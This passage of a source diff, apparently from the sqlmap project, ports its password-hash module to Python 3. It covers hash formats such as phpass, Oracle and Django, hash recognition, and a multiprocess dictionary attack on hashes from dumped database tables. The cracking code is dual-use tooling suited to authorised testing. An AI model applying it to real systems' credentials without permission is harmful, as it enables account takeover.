(sha1(password + binsalt).hexdigest(), salt) return retVal.upper() if uppercase else retVal.lower() @@ -225,22 +225,23 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' 'F894844C34402B67' """ - IV, pad = "\0" * 8, "\0" + IV, pad = b"\0" * 8, b"\0" - if isinstance(username, unicode): - username = unicode.encode(username, UNICODE_ENCODING) + unistr = b"".join((b"\0" + _.encode(UNICODE_ENCODING)) if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in (username + password).upper()) - if isinstance(password, unicode): - password = unicode.encode(password, UNICODE_ENCODING) + if des.__module__ == "Crypto.Cipher.DES": + unistr += b"\0" * ((8 - len(unistr) % 8) & 7) + cipher = des(decodeHex("0123456789ABCDEF"), CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, iv=IV) + encrypted = cipher.encrypt(unistr) + else: + cipher = des(decodeHex("0123456789ABCDEF"), CBC, IV, pad) + encrypted = cipher.encrypt(unistr) + cipher = des(encrypted[-8:], CBC, IV, pad) + encrypted = cipher.encrypt(unistr) - unistr = "".join("\0%s" % c for c in (username + password).upper()) - - cipher = des(hexdecode("0123456789ABCDEF"), CBC, IV, pad) - encrypted = cipher.encrypt(unistr) - cipher = des(encrypted[-8:], CBC, IV, pad) - encrypted = cipher.encrypt(unistr) - - retVal = hexencode(encrypted[-8:]) + retVal = encodeHex(encrypted[-8:], binary=False) return retVal.upper() if uppercase else retVal.lower() @@ -250,6 +251,8 @@ def md5_generic_passwd(password, uppercase=False): '179ad45c6ce2cb97cf1029e212046e81' """ + password = getBytes(password) + retVal = md5(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -260,6 +263,8 @@ def sha1_generic_passwd(password, uppercase=False): '206c80413b9a96c1312cc346b7d2517b84463edd' """ + password = getBytes(password) + retVal = sha1(password).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -270,7 +275,9 @@ def apache_sha1_passwd(password, **kwargs): '{SHA}IGyAQTualsExLMNGt9JRe4RGPt0=' """ - return "{SHA}%s" % base64.b64encode(sha1(password).digest()) + password = getBytes(password) + + return "{SHA}%s" % getText(base64.b64encode(sha1(password).digest())) def ssha_passwd(password, salt, **kwargs): """ @@ -278,7 +285,10 @@ def ssha_passwd(password, salt, **kwargs): '{SSHA}mU1HPTvnmoXOhE4ROHP6sWfbfoRzYWx0' """ - return "{SSHA}%s" % base64.b64encode(sha1(password + salt).digest() + salt) + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA}%s" % getText(base64.b64encode(sha1(password + salt).digest() + salt)) def ssha256_passwd(password, salt, **kwargs): """ @@ -286,7 +296,10 @@ def ssha256_passwd(password, salt, **kwargs): '{SSHA256}hhubsLrO/Aje9F/kJrgv5ZLE40UmTrVWvI7Dt6InP99zYWx0' """ - return "{SSHA256}%s" % base64.b64encode(sha256(password + salt).digest() + salt) + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA256}%s" % getText(base64.b64encode(sha256(password + salt).digest() + salt)) def ssha512_passwd(password, salt, **kwargs): """ @@ -294,7 +307,10 @@ def ssha512_passwd(password, salt, **kwargs): '{SSHA512}mCUSLfPMhXCQOJl9WHW/QMn9v9sjq7Ht/Wk7iVau8vLOfh+PeynkGMikqIE8sStFd0khdfcCD8xZmC6UyjTxsHNhbHQ=' """ - return "{SSHA512}%s" % base64.b64encode(sha512(password + salt).digest() + salt) + password = getBytes(password) + salt = getBytes(salt) + + return "{SSHA512}%s" % getText(base64.b64encode(sha512(password + salt).digest() + salt)) def sha224_generic_passwd(password, uppercase=False): """ @@ -302,7 +318,7 @@ def sha224_generic_passwd(password, uppercase=False): '648db6019764b598f75ab6b7616d2e82563a00eb1531680e19ac4c6f' """ - retVal = sha224(password).hexdigest() + retVal = sha224(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -312,7 +328,7 @@ def sha256_generic_passwd(password, uppercase=False): '13d249f2cb4127b40cfa757866850278793f814ded3c587fe5889e889a7a9f6c' """ - retVal = sha256(password).hexdigest() + retVal = sha256(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -322,7 +338,7 @@ def sha384_generic_passwd(password, uppercase=False): '6823546e56adf46849343be991d4b1be9b432e42ed1b4bb90635a0e4b930e49b9ca007bc3e04bf0a4e0df6f1f82769bf' """ - retVal = sha384(password).hexdigest() + retVal = sha384(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -332,7 +348,7 @@ def sha512_generic_passwd(password, uppercase=False): '78ddc8555bb1677ff5af75ba5fc02cb30bb592b0610277ae15055e189b77fe3fda496e5027a3d99ec85d54941adee1cc174b50438fdc21d82d0a79f85b58cf44' """ - retVal = sha512(password).hexdigest() + retVal = sha512(getBytes(password)).hexdigest() return retVal.upper() if uppercase else retVal.lower() @@ -348,7 +364,7 @@ def crypt_generic_passwd(password, salt, **kwargs): 'rl.3StKT.4T8M' """ - return crypt(password, salt) + return getText(crypt(password, salt)) def unix_md5_passwd(password, salt, magic="$1$", **kwargs): """ @@ -369,14 +385,9 @@ def _encode64(value, count): return output - if isinstance(password, unicode): - password = password.encode(UNICODE_ENCODING) - - if isinstance(magic, unicode): - magic = magic.encode(UNICODE_ENCODING) - - if isinstance(salt, unicode): - salt = salt.encode(UNICODE_ENCODING) + password = getBytes(password) + magic = getBytes(magic) + salt = getBytes(salt) salt = salt[:8] ctx = password + magic + salt @@ -391,15 +402,15 @@ def _encode64(value, count): i = len(password) while i: if i & 1: - ctx = ctx + chr(0) # if ($i & 1) { $ctx->add(pack("C", 0)); } + ctx = ctx + b'\x00' # if ($i & 1) { $ctx->add(pack("C", 0)); } else: - ctx = ctx + password[0] + ctx = ctx + password[0:1] i = i >> 1 final = md5(ctx).digest() for i in xrange(1000): - ctx1 = "" + ctx1 = b"" if i & 1: ctx1 = ctx1 + password @@ -419,14 +430,14 @@ def _encode64(value, count): final = md5(ctx1).digest() - hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4) - hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4) - hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4) - hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4) - hash_ = hash_ + _encode64((int(ord(final[4])) << 16) | (int(ord(final[10])) << 8) | (int(ord(final[5]))), 4) - hash_ = hash_ + _encode64((int(ord(final[11]))), 2) + hash_ = _encode64((int(ord(final[0:1])) << 16) | (int(ord(final[6:7])) << 8) | (int(ord(final[12:13]))), 4) + hash_ = hash_ + _encode64((int(ord(final[1:2])) << 16) | (int(ord(final[7:8])) << 8) | (int(ord(final[13:14]))), 4) + hash_ = hash_ + _encode64((int(ord(final[2:3])) << 16) | (int(ord(final[8:9])) << 8) | (int(ord(final[14:15]))), 4) + hash_ = hash_ + _encode64((int(ord(final[3:4])) << 16) | (int(ord(final[9:10])) << 8) | (int(ord(final[15:16]))), 4) + hash_ = hash_ + _encode64((int(ord(final[4:5])) << 16) | (int(ord(final[10:11])) << 8) | (int(ord(final[5:6]))), 4) + hash_ = hash_ + _encode64((int(ord(final[11:12]))), 2) - return "%s%s$%s" % (magic, salt, hash_) + return getText(magic + salt + b'$' + getBytes(hash_)) def joomla_passwd(password, salt, **kwargs): """ @@ -436,7 +447,7 @@ def joomla_passwd(password, salt, **kwargs): 'e3d5794da74e917637332e0d21b76328:6GGlnaquVXI80b3HRmSyE3K1wEFFaBIf' """ - return "%s:%s" % (md5("%s%s" % (password, salt)).hexdigest(), salt) + return "%s:%s" % (md5(getBytes(password) + getBytes(salt)).hexdigest(), salt) def django_md5_passwd(password, salt, **kwargs): """ @@ -446,7 +457,7 @@ def django_md5_passwd(password, salt, **kwargs): 'md5$salt$972141bcbcb6a0acc96e92309175b3c5' """ - return "md5$%s$%s" % (salt, md5("%s%s" % (salt, password)).hexdigest()) + return "md5$%s$%s" % (salt, md5(getBytes(salt) + getBytes(password)).hexdigest()) def django_sha1_passwd(password, salt, **kwargs): """ @@ -456,7 +467,7 @@ def django_sha1_passwd(password, salt, **kwargs): 'sha1$salt$6ce0e522aba69d8baa873f01420fccd0250fc5b2' """ - return "sha1$%s$%s" % (salt, sha1("%s%s" % (salt, password)).hexdigest()) + return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) def vbulletin_passwd(password, salt, **kwargs): """ @@ -466,16 +477,32 @@ def vbulletin_passwd(password, salt, **kwargs): '85c4d8ea77ebef2236fb7e9d24ba9482:salt' """ - return "%s:%s" % (md5("%s%s" % (md5(password).hexdigest(), salt)).hexdigest(), salt) + return "%s:%s" % (md5(binascii.hexlify(md5(getBytes(password)).digest()) + getBytes(salt)).hexdigest(), salt) + +def oscommerce_old_passwd(password, salt, **kwargs): + """ + Reference: http://ryanuber.com/09-24-2010/os-commerce-password-hashing.html + + >>> oscommerce_old_passwd(password='testpass', salt='6b') + '16d39816e4545b3179f86f2d2d549af4:6b' + """ + + return "%s:%s" % (md5(getBytes(salt) + getBytes(password)).hexdigest(), salt) -def wordpress_passwd(password, salt, count, prefix, **kwargs): +def phpass_passwd(password, salt, count, prefix, **kwargs): """ Reference(s): - http://packetstormsecurity.org/files/74448/phpassbrute.py.txt + https://web.archive.org/web/20120219120128/packetstormsecurity.org/files/74448/phpassbrute.py.txt http://scriptserver.mainframe8.com/wordpress_password_hasher.php + https://www.openwall.com/phpass/ + https://github.com/jedie/django-phpBB3/blob/master/django_phpBB3/hashers.py - >>> wordpress_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$9aD9ZLmkp') + >>> phpass_passwd(password='testpass', salt='aD9ZLmkp', count=2048, prefix='$P$') '$P$9aD9ZLmkpsN4A83G8MefaaP888gVKX0' + >>> phpass_passwd(password='testpass', salt='Pb1j9gSb', count=2048, prefix='$H$') + '$H$9Pb1j9gSb/u3EVQ.4JDZ3LqtN44oIx/' + >>> phpass_passwd(password='testpass', salt='iwtD/g.K', count=128, prefix='$S$') + '$S$5iwtD/g.KZT2rwC9DASy/mGYAThkSd3lBFdkONi1Ig1IEpBpqG8W' """ def _encode64(input_, count): @@ -483,12 +510,12 @@ def _encode64(input_, count): i = 0 while i < count: - value = ord(input_[i]) + value = (input_[i] if isinstance(input_[i], int) else ord(input_[i])) i += 1 output = output + ITOA64[value & 0x3f] if i < count: - value = value | (ord(input_[i]) << 8) + value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 8) output = output + ITOA64[(value >> 6) & 0x3f] @@ -497,7 +524,7 @@ def _encode64(input_, count): break if i < count: - value = value | (ord(input_[i]) << 16) + value = value | ((input_[i] if isinstance(input_[i], int) else ord(input_[i])) << 16) output = output + ITOA64[(value >> 12) & 0x3f] @@ -509,19 +536,25 @@ def _encode64(input_, count): return output - if isinstance(password, unicode): - password = password.encode(UNICODE_ENCODING) + password = getBytes(password) + f = {"$P$": md5, "$H$": md5, "$Q$": sha1, "$S$": sha512}[prefix] - cipher = md5(salt) + cipher = f(getBytes(salt)) cipher.update(password) hash_ = cipher.digest() for i in xrange(count): - _ = md5(hash_) + _ = f(hash_) _.update(password) hash_ = _.digest() - return "%s%s" % (prefix, _encode64(hash_, 16)) + retVal = "%s%s%s%s" % (prefix, ITOA64[int(math.log(count, 2))], salt, _encode64(hash_, len(hash_))) + + if prefix == "$S$": + # Reference: https://api.drupal.org/api/drupal/includes%21password.inc/constant/DRUPAL_HASH_LENGTH/7.x + retVal = retVal[:55] + + return retVal __functions__ = { HASH.MYSQL: mysql_passwd, @@ -542,12 +575,13 @@ def _encode64(input_, count): HASH.JOOMLA: joomla_passwd, HASH.DJANGO_MD5: django_md5_passwd, HASH.DJANGO_SHA1: django_sha1_passwd, - HASH.WORDPRESS: wordpress_passwd, + HASH.PHPASS: phpass_passwd, HASH.APACHE_MD5_CRYPT: unix_md5_passwd, HASH.UNIX_MD5_CRYPT: unix_md5_passwd, HASH.APACHE_SHA1: apache_sha1_passwd, HASH.VBULLETIN: vbulletin_passwd, HASH.VBULLETIN_OLD: vbulletin_passwd, + HASH.OSCOMMERCE_OLD: oscommerce_old_passwd, HASH.SSHA: ssha_passwd, HASH.SSHA256: ssha256_passwd, HASH.SSHA512: ssha512_passwd, @@ -557,11 +591,46 @@ def _encode64(input_, count): HASH.SHA512_BASE64: sha512_generic_passwd, } +def _finalize(retVal, results, processes, attack_info=None): + if _multiprocessing: + gc.enable() + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4367 + # NOTE: https://dzone.com/articles/python-101-creating-multiple-processes + for process in processes: + try: + process.terminate() + process.join() + except (OSError, AttributeError): + pass + + if retVal: + removals = set() + + if conf.hashDB: + conf.hashDB.beginTransaction() + + while not retVal.empty(): + user, hash_, word = item = retVal.get(block=False) + results.append(item) + removals.add((user, hash_)) + hashDBWrite(hash_, word) + + for item in attack_info or []: + if (item[0][0], item[0][1]) in removals: + attack_info.remove(item) + + if conf.hashDB: + conf.hashDB.endTransaction() + + if hasattr(retVal, "close"): + retVal.close() + def storeHashesToFile(attack_dict): if not attack_dict: return - items = oset() + items = OrderedSet() for user, hashes in attack_dict.items(): for hash_ in hashes: @@ -569,29 +638,32 @@ def storeHashesToFile(attack_dict): if hash_ and hash_ != NULL and hashRecognition(hash_): item = None if user and not user.startswith(DUMMY_USER_PREFIX): - item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING)) + item = "%s:%s\n" % (user, hash_) else: - item = "%s\n" % hash_.encode(UNICODE_ENCODING) + item = "%s\n" % hash_ if item and item not in items: items.add(item) - if kb.storeHashesChoice is None: + if kb.choices.storeHashes is None: message = "do you want to store hashes to a temporary file " message += "for eventual further processing with other tools [y/N] " - kb.storeHashesChoice = readInput(message, default='N', boolean=True) + kb.choices.storeHashes = readInput(message, default='N', boolean=True) - if items and kb.storeHashesChoice: + if items and kb.choices.storeHashes: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.HASHES, suffix=".txt") os.close(handle) infoMsg = "writing hashes to a temporary file '%s' " % filename logger.info(infoMsg) - with open(filename, "w+") as f: + with openFile(filename, "w+") as f: for item in items: - f.write(item) + try: + f.write(item) + except (UnicodeError, TypeError): + pass def attackCachedUsersPasswords(): if kb.data.cachedUsersPasswords: @@ -624,12 +696,25 @@ def attackDumpedTable(): col_user = '' col_passwords = set() attack_dict = {} + binary_fields = OrderedSet() + replacements = {} - for column in sorted(columns, key=lambda _: len(_), reverse=True): + for column in sorted(columns, key=len, reverse=True): if column and column.lower() in COMMON_USER_COLUMNS: col_user = column break + for column in columns: + if column != "__infos__" and table[column]["values"]: + if all(INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (value or "") for value in table[column]["values"]): + binary_fields.add(column) + + if binary_fields: + _ = ','.join(binary_fields) + warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _ + warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _ + logger.warning(warnMsg) + for i in xrange(count): if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD: break @@ -641,8 +726,16 @@ def attackDumpedTable(): if len(table[column]["values"]) <= i: continue + if conf.binaryFields and column in conf.binaryFields: + continue + value = table[column]["values"][i] + if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: + previous = value + value = encodeHex(getBytes(value), binary=False) + replacements[value] = previous + if hashRecognition(value): found = True @@ -676,7 +769,9 @@ def attackDumpedTable(): for (_, hash_, password) in results: if hash_: - lut[hash_.lower()] = password + key = hash_ if hash_ not in replacements else replacements[hash_] + lut[key.lower()] = password + lut["0x%s" % key.lower()] = password debugMsg = "post-processing table dump" logger.debug(debugMsg) @@ -690,22 +785,42 @@ def attackDumpedTable(): table[column]['values'][i] = "%s (%s)" % (getUnicode(table[column]['values'][i]), getUnicode(lut[value.lower()] or HASH_EMPTY_PASSWORD_MARKER)) table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i])) +@cachedmethod def hashRecognition(value): + """ + >>> hashRecognition("179ad45c6ce2cb97cf1029e212046e81") == HASH.MD5_GENERIC + True + >>> hashRecognition("S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") == HASH.ORACLE + True + >>> hashRecognition("foobar") == None + True + """ + retVal = None - isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) + if value and len(value) >= 8 and ' ' not in value: # Note: pre-filter condition (for optimization purposes) + isOracle, isMySQL = Backend.isDbms(DBMS.ORACLE), Backend.isDbms(DBMS.MYSQL) - if isinstance(value, basestring): - for name, regex in getPublicTypeMembers(HASH): - # Hashes for Oracle and old MySQL look the same hence these checks - if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: - continue - elif regex == HASH.CRYPT_GENERIC: - if any((value.lower() == value, value.upper() == value)): + if kb.cache.hashRegex is None: + parts = [] + + for name, regex in getPublicTypeMembers(HASH): + # Hashes for Oracle and old MySQL look the same hence these checks + if isOracle and regex == HASH.MYSQL_OLD or isMySQL and regex == HASH.ORACLE_OLD: continue - elif re.match(regex, value): - retVal = regex - break + elif regex == HASH.CRYPT_GENERIC: + if any((value.lower() == value, value.upper() == value)): + continue + else: + parts.append("(?P<%s>%s)" % (name, regex)) + + kb.cache.hashRegex = ('|'.join(parts)).replace("(?i)", "") + + if isinstance(value, six.string_types): + match = re.search(kb.cache.hashRegex, value, re.I) + if match: + algorithm, _ = [_ for _ in match.groupdict().items() if _[1] is not None][0] + retVal = getattr(HASH, algorithm) return retVal @@ -726,7 +841,9 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc count += 1 - if not isinstance(word, basestring): + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): continue if suffix: @@ -801,7 +918,9 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found count += 1 - if not isinstance(word, basestring): + if isinstance(word, six.binary_type): + word = getUnicode(word) + elif not isinstance(word, six.string_types): continue if suffix: @@ -863,6 +982,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found proc_count.value -= 1 def dictionaryAttack(attack_dict): + global _multiprocessing + suffix_list = [""] custom_wordlist = [""] hash_regexes = [] @@ -872,6 +993,27 @@ def dictionaryAttack(attack_dict): processException = False foundHash = False + if conf.disableMulti: + _multiprocessing = None + else: + # Note: https://github.com/sqlmapproject/sqlmap/issues/4367 + try: + import multiprocessing + + # problems on FreeBSD (Reference: https://web.archive.org/web/20110710041353/http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx) + _ = multiprocessing.Queue() + + # problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952) + _ = multiprocessing.Value('i') + except (ImportError, OSError, AttributeError): + pass + else: + try: + if multiprocessing.cpu_count() > 1: + _multiprocessing = multiprocessing + except NotImplementedError: + pass + for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: @@ -882,7 +1024,7 @@ def dictionaryAttack(attack_dict): if regex and regex not in hash_regexes: hash_regexes.append(regex) - infoMsg = "using hash method '%s'" % __functions__[regex].func_name + infoMsg = "using hash method '%s'" % __functions__[regex].__name__ logger.info(infoMsg) for hash_regex in hash_regexes: @@ -901,19 +1043,21 @@ def dictionaryAttack(attack_dict): try: item = None - if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): + if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.PHPASS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): - item = [(user, hash_.decode("base64").encode("hex")), {}] + item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): + if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017 + hash_ = hash_[2:] item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): - item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}] + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] elif hash_regex in (HASH.SSHA256,): - item = [(user, hash_), {"salt": hash_.decode("base64")[32:]}] + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}] elif hash_regex in (HASH.SSHA512,): - item = [(user, hash_), {"salt": hash_.decode("base64")[64:]}] + item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): @@ -924,16 +1068,16 @@ def dictionaryAttack(attack_dict): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] - elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): + elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.OSCOMMERCE_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] - elif hash_regex in (HASH.WORDPRESS,): + elif hash_regex in (HASH.PHPASS,): if ITOA64.index(hash_[3]) < 32: - item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}] + item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:3]}] else: warnMsg = "invalid hash '%s'" % hash_ - logger.warn(warnMsg) + logger.warning(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) @@ -948,7 +1092,7 @@ def dictionaryAttack(attack_dict): resumes.append((user, hash_, resumed)) keys.add(hash_) - except (binascii.Error, IndexError): + except (binascii.Error, TypeError, IndexError): pass if not attack_info: @@ -958,7 +1102,7 @@ def dictionaryAttack(attack_dict): while not kb.wordlists: # the slowest of all methods hence smaller default dict - if hash_regex in (HASH.ORACLE_OLD,): + if hash_regex in (HASH.ORACLE_OLD, HASH.PHPASS): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] @@ -990,7 +1134,7 @@ def dictionaryAttack(attack_dict): for dictPath in dictPaths: checkFile(dictPath) - if os.path.splitext(dictPath)[1].lower() == ".zip": + if isZipFile(dictPath): _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath @@ -1010,7 +1154,7 @@ def dictionaryAttack(attack_dict): if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES - infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name + infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__ logger.info(infoMsg) for item in attack_info: @@ -1019,7 +1163,7 @@ def dictionaryAttack(attack_dict): custom_wordlist.append(normalizeUnicode(user)) # Algorithms without extra arguments (e.g. salt and/or username) - if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD): + if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): for suffix in suffix_list: if not attack_info or processException: break @@ -1056,41 +1200,20 @@ def dictionaryAttack(attack_dict): else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) - retVal = Queue() + retVal = _queue.Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) - - for process in processes: - try: - process.terminate() - process.join() - except (OSError, AttributeError): - pass + logger.warning(warnMsg) finally: - if _multiprocessing: - gc.enable() - - if retVal: - if conf.hashDB: - conf.hashDB.beginTransaction() - - while not retVal.empty(): - user, hash_, word = item = retVal.get(block=False) - attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info) - hashDBWrite(hash_, word) - results.append(item) - - if conf.hashDB: - conf.hashDB.endTransaction() + _finalize(retVal, results, processes, attack_info) clearConsoleLine() @@ -1144,13 +1267,13 @@ def dictionaryAttack(attack_dict): else: warnMsg = "multiprocessing hash cracking is currently " - warnMsg += "not supported on this platform" + warnMsg += "%s on this platform" % ("not supported" if not conf.disableMulti else "disabled") singleTimeWarnMessage(warnMsg) - class Value(): + class Value(object): pass - retVal = Queue() + retVal = _queue.Queue() found_ = Value() found_.value = False @@ -1162,7 +1285,7 @@ class Value(): print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" - logger.warn(warnMsg) + logger.warning(warnMsg) for process in processes: try: @@ -1172,20 +1295,7 @@ class Value(): pass finally: - if _multiprocessing: - gc.enable() - - if retVal and conf.hashDB: - if conf.hashDB: - conf.hashDB.beginTransaction() - - while not retVal.empty(): - user, hash_, word = item = retVal.get(block=False) - hashDBWrite(hash_, word) - results.append(item) - - if conf.hashDB: - conf.hashDB.endTransaction() + _finalize(retVal, results, processes, attack_info) clearConsoleLine() @@ -1193,11 +1303,11 @@ class Value(): if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" - logger.warn(warnMsg) + logger.warning(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" - logger.warn(warnMsg) + logger.warning(warnMsg) return results @@ -1205,8 +1315,12 @@ def crackHashFile(hashFile): i = 0 attack_dict = {} + check = None for line in getFileItems(conf.hashFile): - if ':' in line: + if check is None and not attack_dict and ':' in line: + check = any(re.search(_, line) for _ in getPublicTypeMembers(HASH, True)) + + if ':' in line and check is False: user, hash_ = line.split(':', 1) attack_dict[user] = [hash_] else: diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 8cbee817056..e7a88fc22cd 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,43 +1,56 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import hashlib import os import sqlite3 +import struct import threading import time from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject +from lib.core.compat import xrange +from lib.core.convert import getBytes +from lib.core.convert import getUnicode from lib.core.data import logger +from lib.core.datatype import LRUDict from lib.core.exception import SqlmapConnectionException from lib.core.settings import HASHDB_END_TRANSACTION_RETRIES from lib.core.settings import HASHDB_FLUSH_RETRIES -from lib.core.settings import HASHDB_FLUSH_THRESHOLD +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_ITEMS +from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME from lib.core.settings import HASHDB_RETRIEVE_RETRIES -from lib.core.settings import UNICODE_ENCODING +from lib.core.settings import IS_PYPY from lib.core.threads import getCurrentThreadData -from lib.core.threads import getCurrentThreadName +from thirdparty import six class HashDB(object): def __init__(self, filepath): self.filepath = filepath self._write_cache = {} + self._read_cache = LRUDict(capacity=100) self._cache_lock = threading.Lock() + self._connections = [] + self._last_flush_time = time.time() def _get_cursor(self): threadData = getCurrentThreadData() if threadData.hashDBCursor is None: try: - connection = sqlite3.connect(self.filepath, timeout=3, isolation_level=None) + connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) + if not IS_PYPY: + connection.execute("PRAGMA journal_mode=WAL") + connection.execute("PRAGMA synchronous=NORMAL") + connection.execute("PRAGMA busy_timeout=10000") + self._connections.append(connection) threadData.hashDBCursor = connection.cursor() 